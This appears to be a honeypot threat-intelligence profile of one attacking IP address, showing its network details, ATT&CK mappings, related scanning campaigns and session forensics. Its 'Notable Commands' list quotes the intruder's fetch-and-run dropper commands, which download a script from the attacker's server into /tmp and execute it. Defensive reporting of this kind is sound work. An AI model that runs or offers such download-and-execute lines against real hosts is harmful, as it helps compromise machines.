IntrusionLabs IntrusionLabs
← Back to feed

176.65.134.119

TAGGED MALICIOUS how we decide →
Why: Our sensors observed malware dropper sessions · certainty: inferred
176.65.134.119.ptr.pfcloud.network (pfcloud.network) ✓ FCrDNS
Threat Confidence
47%
Assessment
Hands-on intruder: runs interactive command sessions
  • Downloaded 2 files and ran 15 commands on the host.
  • Part of a 251-IP campaign probing the same targets.
Generated from the counts on this page by fixed rules; each line cites the number it rests on.
Location
🇩🇪 DE
ASN
AS51396 · Pfcloud UG (haftungsbeschrankt)
Cloud Provider
—
Total Events
55
Above average by volume
Agent Count
2
First / Last Seen
2026-10-05 23:13 — 2026-10-06 01:27
Attack Types
telnet:bruteforce telnet:intrusion telnet:malware
MITRE ATT&CK Techniques
Initial Access
T1078
Execution
T1059.004
Credential Access
T1110 T1110.001
Discovery
T1082 T1083
Command and Control
T1105
External Corroboration
Not flagged by any external feeds
Campaigns
Multi-Agent Scan SCAN Active medium
127 IPs 530867 events
2026-10-05 — ongoing · 127 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan SCAN Active medium
201 IPs 522926 events
2026-09-25 — ongoing · 201 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan SCAN Active medium
165 IPs 396523 events
2026-09-16 — ongoing · 165 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan SCAN Active medium
218 IPs 579416 events
2026-09-14 — ongoing · 218 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan SCAN Active medium
228 IPs 655728 events
2026-09-14 — ongoing · 228 IPs independently targeted the same honeypot sensors within a 24-hour window. Hosted on DO. Scanning the same …
Multi-Agent Scan SCAN Active medium
146 IPs 359949 events
2026-08-26 — ongoing · 146 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan SCAN Active medium
60 IPs 234569 events
2026-06-24 — ongoing · 60 IPs independently targeted the same honeypot sensors within a 24-hour window. Hosted on DO. Scanning the same …
Multi-Agent Scan SCAN Active medium
212 IPs 519000 events
2026-06-07 — ongoing · 212 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan SCAN Active medium
130 IPs 441876 events
2026-05-30 — ongoing · 130 IPs independently targeted the same honeypot sensors within a 24-hour window. Hosted on Linode. Scanning the same …
Multi-Agent Scan SCAN Active medium
189 IPs 513737 events
2026-05-16 — ongoing · 189 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan SCAN Active medium
112 IPs 119927 events
2026-05-16 — ongoing · 112 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan SCAN Active medium
137 IPs 394208 events
2026-05-16 — ongoing · 137 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan SCAN Active medium
13 IPs 45060 events
2026-04-15 — ongoing · 13 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan SCAN Active medium
223 IPs 592213 events
2026-04-15 — ongoing · 223 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan SCAN Active medium
172 IPs 554787 events
2026-04-06 — ongoing · 172 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan SCAN Active medium
106 IPs 252813 events
2026-03-30 — ongoing · 106 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan SCAN Active medium
145 IPs 284517 events
2026-03-09 — ongoing · 145 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan SCAN Active medium
235 IPs 617965 events
2026-03-09 — ongoing · 235 IPs independently targeted the same honeypot sensors within a 24-hour window. Hosted on DO. Scanning the same …
Multi-Agent Scan SCAN Active medium
155 IPs 457912 events
2026-03-09 — ongoing · 155 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan SCAN Active medium
226 IPs 573388 events
2026-03-09 — ongoing · 226 IPs independently targeted the same honeypot sensors within a 24-hour window. Hosted on DO. Scanning the same …
Multi-Agent Scan SCAN Active medium
196 IPs 463685 events
2026-03-09 — ongoing · 196 IPs independently targeted the same honeypot sensors within a 24-hour window. Hosted on DO. Scanning the same …
Multi-Agent Scan SCAN Active medium
146 IPs 441081 events
2026-03-08 — ongoing · 146 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan SCAN Active medium
81 IPs 111260 events
2026-03-08 — ongoing · 81 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan SCAN Active medium
202 IPs 550850 events
2026-03-08 — ongoing · 202 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan SCAN Active medium
251 IPs 718410 events
2026-03-08 — ongoing · 251 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan SCAN Active medium
239 IPs 632595 events
2026-03-02 — ongoing · 239 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan SCAN Active medium
163 IPs 544529 events
2026-02-28 — ongoing · 163 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan SCAN Active medium
161 IPs 248829 events
2026-02-27 — ongoing · 161 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
AS51396 Pfcloud UG (haftungsbeschrankt) ASN Ended medium 🇳🇱 NL
5 IPs 14633 events
ssh:connectiontelnet:bruteforcetelnet:connectiontelnet:intrusiontelnet:malware
2026-02-19 — 2026-06-23 · 5 IPs from the same network (Pfcloud UG (haftungsbeschrankt), AS51396) were active during overlapping time periods. Temporal correlation …
Session Forensics
malware_dropper ×1 interactive_operator ×2 opportunistic_bruter ×1
Sessions
4 (4 with login)
Avg Depth Score
0.82
Commands Executed
15
Files Downloaded
2
Notable Commands
  • echo $((66*12))
  • 66*12
  • echo MK030430
  • uname -m
  • CMD:
  • cd /tmp
  • wget -qO /tmp/.i.sh http://176.65.134.119:80/agent_i.sh
  • ls /tmp/.i.sh
  • ls /tmp/.i.sh || curl -o /tmp/.i.sh http://176.65.134.119:80/agent_i.sh
  • sh /tmp/.i.sh 176.65.134.119:80 http://176.65.134.119:80 x86_64 32 73
  • echo $((89*11))
  • (89*11
  • echo MK334545
Download URLs
  • http://176.65.134.119:80/agent_i.sh
Evidence Timeline
Opportunistic Bruter e6756e33ad02 greencloud_phx_01 · 2026-10-06 01:27
1 50%
Loading events...
Interactive Operator c71465608d64 greencloud_phx_01 · 2026-10-06 01:27
5 2 90%
Loading events...
Malware Dropper 9aac2f29a237 w4m_singapore_01 · 2026-10-05 23:13
5 2 1 100%
Loading events...
Interactive Operator 9abe46c604cd w4m_singapore_01 · 2026-10-05 23:13
5 3 90%
Loading events...